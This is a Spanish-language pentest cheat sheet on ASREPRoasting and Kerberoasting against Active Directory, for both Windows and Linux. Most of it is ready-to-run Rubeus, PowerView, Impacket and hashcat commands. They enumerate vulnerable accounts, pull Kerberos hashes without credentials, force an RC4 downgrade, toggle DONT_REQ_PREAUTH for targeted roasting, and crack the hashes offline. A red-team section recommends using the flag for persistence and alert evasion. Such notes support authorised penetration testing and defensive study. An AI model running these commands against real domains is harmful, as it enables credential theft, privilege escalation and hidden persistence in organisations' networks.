b0ysie7e

Appearance

ASREPRoasting (Windows) ​

Ataque contra cuentas que tienen deshabilitada la pre-autenticación Kerberos (DONT_REQ_PREAUTH). Permite obtener un hash cifrado con la contraseña del usuario sin necesitar credenciales previas, para crackearlo offline.

Links: Impacket | Rubeus | PowerView | Hashcat

¿Cómo funciona? ​

Si una cuenta tiene DONT_REQ_PREAUTH activo, el KDC responde a un AS-REQ con un AS-REP sin verificar la identidad del solicitante. El AS-REP contiene datos cifrados con la clave del usuario que se pueden crackear offline con Hashcat módulo 18200.

Enumerar cuentas vulnerables ​

Con PowerView ​

powershell
Import-Module .\PowerView.ps1
Get-DomainUser -UACFilter DONT_REQ_PREAUTH

Con Rubeus ​

powershell
# Escanear cuentas sin pre-autenticación
.\Rubeus.exe preauthscan /domain:domain.local

# Enumerar y obtener hashes de todas las cuentas vulnerables
.\Rubeus.exe asreproast /format:hashcat

Realizar el ataque ​

Con Rubeus - usuario específico ​

powershell
.\Rubeus.exe asreproast /user:<usuario> /domain:<domain.local> /dc:<dc01.domain.local> /nowrap /outfile:hashes.txt

Con Rubeus - todos los usuarios vulnerables ​

powershell
.\Rubeus.exe asreproast /format:hashcat /nowrap /outfile:hashes.txt

Crackear el hash ​

bash
# Hashcat módulo 18200 (Kerberos 5, etype 23, AS-REP)
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

# Con reglas
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Ver resultados ya crackeados
hashcat -m 18200 hashes.txt --show

Targeted ASREPRoasting (con GenericAll/GenericWrite) ​

Si se tiene GenericAll o GenericWrite sobre una cuenta, se puede habilitar temporalmente DONT_REQ_PREAUTH, obtener el hash y crackearlo sin resetear la contraseña.

Habilitar DONT_REQ_PREAUTH con PowerView ​

powershell
Import-Module .\PowerView.ps1
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

Luego obtener el hash con Rubeus ​

powershell
.\Rubeus.exe asreproast /user:<username> /format:hashcat /nowrap /outfile:hashes.txt

Deshabilitar DONT_REQ_PREAUTH (limpiar tras el ataque) ​

powershell
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

Notas ​

  • No requiere credenciales de dominio si ya se conocen los usuarios vulnerables
  • El éxito depende de que la cuenta tenga contraseña débil
  • Es relativamente raro encontrar cuentas con pre-auth deshabilitada, pero algunos vendors lo configuran así por defecto en sus service accounts
  • El formato del hash es $krb5asrep$23$<usuario>@<DOMAIN>:...

ASREPRoasting (Linux) ​

Versión del ataque ASREPRoasting usando herramientas de Linux. Permite enumerar cuentas con DONT_REQ_PREAUTH y obtener sus hashes, incluso sin credenciales si se tiene una lista de usuarios.

Links: Impacket GetNPUsers | Hashcat

Prerequisito - Resolución DNS ​

Kerberos en Linux necesita resolver el FQDN del dominio y del DC. Agregar entrada en /etc/hosts antes de atacar.

bash
echo '<IP_DC> dc01.domain.local domain.local' | sudo tee -a /etc/hosts

Enumerar cuentas vulnerables (con credenciales) ​

bash
GetNPUsers.py domain.local/<usuario_valido>

Pedirá la contraseña del usuario válido para autenticarse y listar las cuentas con DONT_REQ_PREAUTH.

Obtener los hashes (con credenciales) ​

Agregar -request para pedir directamente los hashes en formato Hashcat.

bash
GetNPUsers.py domain.local/<usuario_valido> -request

Encontrar cuentas vulnerables sin autenticación ​

Si no se tienen credenciales pero sí una lista de usuarios, se puede intentar contra cada uno sin proveer contraseña.

bash
GetNPUsers.py DOMAIN/ -dc-ip <IP_DC> -usersfile users.txt -format hashcat -outputfile hashes.txt -no-pass

Es normal recibir errores KDC_ERR_C_PRINCIPAL_UNKNOWN para los usuarios que no existen; los hashes de las cuentas vulnerables igual se guardan en el archivo de salida.

bash
cat hashes.txt

Crackear los hashes ​

bash
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

Uso en Red Team ​

Persistencia ​

Habilitar DONT_REQ_PREAUTH en una cuenta permite recuperar acceso si la contraseña cambia, sin necesitar resetearla. Útil en cuentas fuera del alcance de monitoreo (impresoras, cuentas de servicios legacy).

Escalada de privilegios ​

Si se tiene capacidad de modificar atributos de una cuenta (pero no su contraseña), habilitar este flag evita el riesgo de un reset de contraseña (que suele generar alertas) y permite intentar crackear el hash directamente.

Resumen del flujo ​

  • Resolver el FQDN del dominio en /etc/hosts
  • Con credenciales: GetNPUsers.py domain/user -request
  • Sin credenciales: GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -format hashcat -outputfile hashes.txt
  • Crackear con hashcat -m 18200
  • El éxito depende de que la cuenta tenga una contraseña débil

Kerberoasting (Windows) ​

Ataque contra cuentas de servicio que permite crackear offline su contraseña. A diferencia de ASREPRoasting, requiere autenticación previa al dominio (cualquier cuenta válida, incluso de bajo privilegio).

Links: Rubeus | PowerView | Hashcat | Setspn - Microsoft | AS-Requested STs - Semperis

¿Cómo funciona? ​

Cuando una cuenta tiene un SPN (Service Principal Name) configurado, cualquier usuario del dominio puede solicitar un Service Ticket (TGS) para ese servicio. El TGS está cifrado con la clave de la cuenta de servicio. Si esa cuenta es una cuenta de usuario (no una cuenta de máquina con password de 120 caracteres), el hash se puede crackear offline.

Las cuentas vulnerables a kerberoasting con cifrado RC4 son más fáciles de crackear que las que usan AES.

Detección manual - Filtro LDAP ​

(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))

Devuelve todos los usuarios (no máquinas) con al menos un SPN configurado.

Script PowerShell para buscar cuentas con SPN ​

powershell
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results) {
    $userEntry = $result.GetDirectoryEntry()
    Write-host "User"
    Write-Host $userEntry.name "(" $userEntry.distinguishedName ")"
    Write-host "SPNs"
    foreach($SPN in $userEntry.servicePrincipalName) { $SPN }
}

Con Setspn (binario nativo de Windows) ​

cmd
setspn -Q */*

Enumeración con PowerView ​

powershell
Import-Module .\PowerView.ps1

# Listar usuarios con SPN
Get-DomainUser -SPN

Realizar el ataque con PowerView ​

Método manual ​

powershell
Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation

Con Invoke-Kerberoast (recomendado) ​

powershell
Invoke-Kerberoast

Realizar el ataque con Rubeus ​

Kerberoastear todas las cuentas vulnerables ​

cmd
Rubeus.exe kerberoast /nowrap

Guardar resultado en archivo ​

cmd
Rubeus.exe kerberoast /nowrap /outfile:hashes.txt

Filtrar por fecha de cambio de contraseña ​

Útil para encontrar cuentas legacy con contraseñas antiguas y débiles.

cmd
Rubeus.exe kerberoast /pwdsetafter:<fecha> /pwdsetbefore:<fecha> /nowrap

Ver estadísticas sin enviar requests ​

cmd
Rubeus.exe kerberoast /stats

Forzar RC4 en cuentas con AES (más fácil de crackear) ​

Si el hash empieza con $krb5tgs$18$* es AES (difícil de crackear). Si empieza con $krb5tgs$23$* es RC4 (más fácil).

cmd
Rubeus.exe kerberoast /tgtdeleg /nowrap

Crackear los hashes ​

bash
# Hashcat módulo 13100 (Kerberos 5, etype 23, TGS-REP)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Kerberoasting sin contraseña de cuenta (caso especial) ​

Si se conoce una cuenta con DONT_REQ_PREAUTH habilitado, se puede usar un AS-REQ modificado para solicitar un TGS sin necesidad de autenticación previa.

Requisitos ​

  • Username de una cuenta con DONT_REQ_PREAUTH
  • SPN(s) objetivo

Simular sesión sin autenticar con Rubeus ​

cmd
Rubeus.exe createnetonly /program:cmd.exe /show

Ejecutar el ataque desde la nueva sesión ​

cmd
Rubeus.exe kerberoast /nopreauth:<usuario_sin_preauth> /domain:<domain.local> /spn:<SPN_objetivo> /nowrap

Para probar múltiples SPNs:

cmd
Rubeus.exe kerberoast /nopreauth:<usuario_sin_preauth> /domain:<domain.local> /spns:listofspn.txt /nowrap

Resumen del flujo ​

  • Enumerar cuentas con SPN (PowerView, Setspn, o filtro LDAP)
  • Solicitar TGS tickets con Rubeus o Invoke-Kerberoast
  • Identificar si el cifrado es RC4 ($krb5tgs$23$) o AES ($krb5tgs$18$)
  • Si es AES, intentar /tgtdeleg para forzar RC4
  • Crackear con Hashcat módulo 13100
  • Si no se tienen credenciales pero sí una cuenta sin pre-auth, usar /nopreauth con Rubeus

Kerberoasting (Linux) ​

Versión del ataque Kerberoasting usando herramientas de Linux. Permite enumerar cuentas con SPN y obtener sus hashes para crackear offline.

Links: Impacket GetUserSPNs | Hashcat

Enumerar cuentas con SPN (Kerberoastable) ​

bash
GetUserSPNs.py domain.local/<usuario_valido>

Pedirá la contraseña del usuario. El output muestra el SPN, nombre de cuenta, grupos a los que pertenece, fecha de cambio de contraseña, último logon y tipo de delegación (si aplica).

Obtener los hashes (TGS tickets) ​

Agregar -request para solicitar el TGS ticket de cada cuenta vulnerable en formato Hashcat.

bash
GetUserSPNs.py domain.local/<usuario_valido> -request

Guardar el output en un archivo ​

bash
GetUserSPNs.py domain.local/<usuario_valido> -request -outputfile hashes.txt

Especificar la contraseña inline (evitar el prompt) ​

bash
GetUserSPNs.py domain.local/<usuario_valido>:'<password>' -request -outputfile hashes.txt

Con hash NTLM en lugar de contraseña ​

bash
GetUserSPNs.py domain.local/<usuario_valido> -hashes <LM:NT> -request -outputfile hashes.txt

Crackear los hashes ​

bash
# Hashcat módulo 13100 (Kerberos 5, etype 23, TGS-REP)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# Ver resultados ya crackeados
hashcat -m 13100 hashes.txt --show

Resumen del flujo ​

  • Tener una cuenta de dominio válida (cualquier privilegio)
  • Enumerar cuentas con SPN: GetUserSPNs.py domain/user
  • Solicitar los TGS tickets: GetUserSPNs.py domain/user -request -outputfile hashes.txt
  • Crackear offline con hashcat -m 13100
  • Validar las credenciales obtenidas y continuar la enumeración con la nueva cuenta